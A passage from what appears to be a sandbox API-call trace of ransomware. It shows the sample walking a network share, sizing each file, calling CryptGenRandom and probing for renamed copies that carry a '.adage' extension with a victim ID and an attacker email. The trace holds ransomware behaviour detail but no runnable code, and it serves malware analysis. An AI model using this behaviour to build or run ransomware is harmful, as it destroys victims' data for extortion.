lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=20371) returned 1 [0047.061] CloseHandle (hObject=0x14c) returned 1 [0047.061] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IZnOWmy.gif" (normalized: "\\\\192.168.0.1\\documents\\iznowmy.gif")) returned 0x80 [0047.061] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IZnOWmy.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\iznowmy.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.062] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IZnOWmy.gif" (normalized: "\\\\192.168.0.1\\documents\\iznowmy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.223] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.223] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GeC6sbZ4BP3n.rtf" (normalized: "\\\\192.168.0.1\\documents\\gec6sbz4bp3n.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.231] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=30093) returned 1 [0047.231] CloseHandle (hObject=0x14c) returned 1 [0047.231] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GeC6sbZ4BP3n.rtf" (normalized: "\\\\192.168.0.1\\documents\\gec6sbz4bp3n.rtf")) returned 0x80 [0047.232] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GeC6sbZ4BP3n.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gec6sbz4bp3n.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.232] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GeC6sbZ4BP3n.rtf" (normalized: "\\\\192.168.0.1\\documents\\gec6sbz4bp3n.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.295] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.295] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICCtCDKhaB3ppqcf.pptx" (normalized: "\\\\192.168.0.1\\documents\\icctcdkhab3ppqcf.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.319] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=36941) returned 1 [0047.319] CloseHandle (hObject=0x14c) returned 1 [0047.319] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICCtCDKhaB3ppqcf.pptx" (normalized: "\\\\192.168.0.1\\documents\\icctcdkhab3ppqcf.pptx")) returned 0x80 [0047.320] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICCtCDKhaB3ppqcf.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\icctcdkhab3ppqcf.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.320] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICCtCDKhaB3ppqcf.pptx" (normalized: "\\\\192.168.0.1\\documents\\icctcdkhab3ppqcf.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.388] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.388] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfrMVx7qN.pdf" (normalized: "\\\\192.168.0.1\\documents\\yfrmvx7qn.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.394] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=98370) returned 1 [0047.394] CloseHandle (hObject=0x14c) returned 1 [0047.394] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfrMVx7qN.pdf" (normalized: "\\\\192.168.0.1\\documents\\yfrmvx7qn.pdf")) returned 0x80 [0047.395] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfrMVx7qN.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\yfrmvx7qn.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.395] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfrMVx7qN.pdf" (normalized: "\\\\192.168.0.1\\documents\\yfrmvx7qn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.410] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.410] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\arFxCRPaJOfVUXqGPh.pps" (normalized: "\\\\192.168.0.1\\documents\\arfxcrpajofvuxqgph.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.419] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=70562) returned 1 [0047.419] CloseHandle (hObject=0x14c) returned 1 [0047.420] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\arFxCRPaJOfVUXqGPh.pps" (normalized: "\\\\192.168.0.1\\documents\\arfxcrpajofvuxqgph.pps")) returned 0x80 [0047.420] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\arFxCRPaJOfVUXqGPh.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\arfxcrpajofvuxqgph.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.421] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\arFxCRPaJOfVUXqGPh.pps" (normalized: "\\\\192.168.0.1\\documents\\arfxcrpajofvuxqgph.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.432] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.432] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HQARGMXmC2WYy.pdf" (normalized: "\\\\192.168.0.1\\documents\\hqargmxmc2wyy.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.447] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=34464) returned 1 [0047.447] CloseHandle (hObject=0x14c) returned 1 [0047.447] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HQARGMXmC2WYy.pdf" (normalized: "\\\\192.168.0.1\\documents\\hqargmxmc2wyy.pdf")) returned 0x80 [0047.448] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HQARGMXmC2WYy.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hqargmxmc2wyy.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.448] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HQARGMXmC2WYy.pdf" (normalized: "\\\\192.168.0.1\\documents\\hqargmxmc2wyy.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.493] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.493] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\I5MGz.gif" (normalized: "\\\\192.168.0.1\\documents\\i5mgz.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.494] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=70325) returned 1 [0047.494] CloseHandle (hObject=0x14c) returned 1 [0047.494] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\I5MGz.gif" (normalized: "\\\\192.168.0.1\\documents\\i5mgz.gif")) returned 0x80 [0047.495] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\I5MGz.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\i5mgz.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.495] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\I5MGz.gif" (normalized: "\\\\192.168.0.1\\documents\\i5mgz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.499] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.499] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VTE95H0m59pDCT9UO1IX.docx" (normalized: "\\\\192.168.0.1\\documents\\vte95h0m59pdct9uo1ix.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.500] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=31524) returned 1 [0047.500] CloseHandle (hObject=0x14c) returned 1 [0047.500] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VTE95H0m59pDCT9UO1IX.docx" (normalized: "\\\\192.168.0.1\\documents\\vte95h0m59pdct9uo1ix.docx")) returned 0x80 [0047.501] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VTE95H0m59pDCT9UO1IX.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vte95h0m59pdct9uo1ix.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.501] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VTE95H0m59pDCT9UO1IX.docx" (normalized: "\\\\192.168.0.1\\documents\\vte95h0m59pdct9uo1ix.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.505] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.505] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\455kYjCp7KIYqdl.gif" (normalized: "\\\\192.168.0.1\\documents\\455kyjcp7kiyqdl.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.506] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=80513) returned 1 [0047.506] CloseHandle (hObject=0x14c) returned 1 [0047.506] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\455kYjCp7KIYqdl.gif" (normalized: "\\\\192.168.0.1\\documents\\455kyjcp7kiyqdl.gif")) returned 0x80 [0047.507] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\455kYjCp7KIYqdl.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\455kyjcp7kiyqdl.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.507] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\455kYjCp7KIYqdl.gif" (normalized: "\\\\192.168.0.1\\documents\\455kyjcp7kiyqdl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.511] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.511] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SDdqr3L6NGsiR8gSS.png" (normalized: "\\\\192.168.0.1\\documents\\sddqr3l6ngsir8gss.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.512] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=36921) returned 1 [0047.512] CloseHandle (hObject=0x14c) returned 1 [0047.512] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SDdqr3L6NGsiR8gSS.png" (normalized: "\\\\192.168.0.1\\documents\\sddqr3l6ngsir8gss.png")) returned 0x80 [0047.513] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SDdqr3L6NGsiR8gSS.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sddqr3l6ngsir8gss.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.513] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SDdqr3L6NGsiR8gSS.png" (normalized: "\\\\192.168.0.1\\documents\\sddqr3l6ngsir8gss.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.520] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.520] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EYzpuUkMw0nV.m4a" (normalized: "\\\\192.168.0.1\\documents\\eyzpuukmw0nv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.522] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=81866) returned 1 [0047.522] CloseHandle (hObject=0x14c) returned 1 [0047.522] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EYzpuUkMw0nV.m4a" (normalized: "\\\\192.168.0.1\\documents\\eyzpuukmw0nv.m4a")) returned 0x80 [0047.522] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EYzpuUkMw0nV.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eyzpuukmw0nv.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.522] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EYzpuUkMw0nV.m4a" (normalized: "\\\\192.168.0.1\\documents\\eyzpuukmw0nv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.529] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.529] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D3bOsFLtbMJgWgQv8Xrs.m4a" (normalized: "\\\\192.168.0.1\\documents\\d3bosfltbmjgwgqv8xrs.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.531] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=80065) returned 1 [0047.531] CloseHandle (hObject=0x14c) returned 1 [0047.531] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D3bOsFLtbMJgWgQv8Xrs.m4a" (normalized: "\\\\192.168.0.1\\documents\\d3bosfltbmjgwgqv8xrs.m4a")) returned 0x80 [0047.532] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D3bOsFLtbMJgWgQv8Xrs.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d3bosfltbmjgwgqv8xrs.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.532] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D3bOsFLtbMJgWgQv8Xrs.m4a" (normalized: "\\\\192.168.0.1\\documents\\d3bosfltbmjgwgqv8xrs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.569] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.569] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\JmVSFmaxSYp.wav" (normalized: "\\\\192.168.0.1\\documents\\jmvsfmaxsyp.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.572] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=45029) returned 1 [0047.572] CloseHandle (hObject=0x14c) returned 1 [0047.572] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\JmVSFmaxSYp.wav" (normalized: "\\\\192.168.0.1\\documents\\jmvsfmaxsyp.wav")) returned 0x80 [0047.639] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\JmVSFmaxSYp.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\jmvsfmaxsyp.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.640] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\JmVSFmaxSYp.wav" (normalized: "\\\\192.168.0.1\\documents\\jmvsfmaxsyp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.160] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.160] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hMbpJsxUxLqdU43X.rtf" (normalized: "\\\\192.168.0.1\\documents\\hmbpjsxuxlqdu43x.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.167] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=99138) returned 1 [0048.167] CloseHandle (hObject=0x14c) returned 1 [0048.167] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hMbpJsxUxLqdU43X.rtf" (normalized: "\\\\192.168.0.1\\documents\\hmbpjsxuxlqdu43x.rtf")) returned 0x80 [0048.168] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hMbpJsxUxLqdU43X.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hmbpjsxuxlqdu43x.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.168] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hMbpJsxUxLqdU43X.rtf" (normalized: "\\\\192.168.0.1\\documents\\hmbpjsxuxlqdu43x.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.201] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.201] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\noIQIeDYAhP.m4a" (normalized: "\\\\192.168.0.1\\documents\\noiqiedyahp.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.207] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=66938) returned 1 [0048.207] CloseHandle (hObject=0x14c) returned 1 [0048.207] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\noIQIeDYAhP.m4a" (normalized: "\\\\192.168.0.1\\documents\\noiqiedyahp.m4a")) returned 0x80 [0048.208] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\noIQIeDYAhP.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\noiqiedyahp.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.208] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\noIQIeDYAhP.m4a" (normalized: "\\\\192.168.0.1\\documents\\noiqiedyahp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.218] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.219] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nXMaDbExzV3GNxn.rtf" (normalized: "\\\\192.168.0.1\\documents\\nxmadbexzv3gnxn.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.220] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=77157) returned 1 [0048.220] CloseHandle (hObject=0x14c) returned 1 [0048.220] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nXMaDbExzV3GNxn.rtf" (normalized: "\\\\192.168.0.1\\documents\\nxmadbexzv3gnxn.rtf")) returned 0x80 [0048.221] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nXMaDbExzV3GNxn.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nxmadbexzv3gnxn.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.221] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nXMaDbExzV3GNxn.rtf" (normalized: "\\\\192.168.0.1\\documents\\nxmadbexzv3gnxn.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.224] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.224] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e0Lune6IQDhr.swf" (normalized: "\\\\192.168.0.1\\documents\\e0lune6iqdhr.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.226] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=96433) returned 1 [0048.226] CloseHandle (hObject=0x14c) returned 1 [0048.226] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e0Lune6IQDhr.swf" (normalized: "\\\\192.168.0.1\\documents\\e0lune6iqdhr.swf")) returned 0x80 [0048.226] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e0Lune6IQDhr.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\e0lune6iqdhr.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.227] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e0Lune6IQDhr.swf" (normalized: "\\\\192.168.0.1\\documents\\e0lune6iqdhr.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.300] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.300] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3vXkT9bZW2wQG2nOsz.flv" (normalized: "\\\\192.168.0.1\\documents\\3vxkt9bzw2wqg2nosz.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.304] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=70309) returned 1 [0048.304] CloseHandle (hObject=0x14c) returned 1 [0048.304] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3vXkT9bZW2wQG2nOsz.flv" (normalized: "\\\\192.168.0.1\\documents\\3vxkt9bzw2wqg2nosz.flv")) returned 0x80 [0048.305] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3vXkT9bZW2wQG2nOsz.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3vxkt9bzw2wqg2nosz.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.305] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3vXkT9bZW2wQG2nOsz.flv" (normalized: "\\\\192.168.0.1\\documents\\3vxkt9bzw2wqg2nosz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 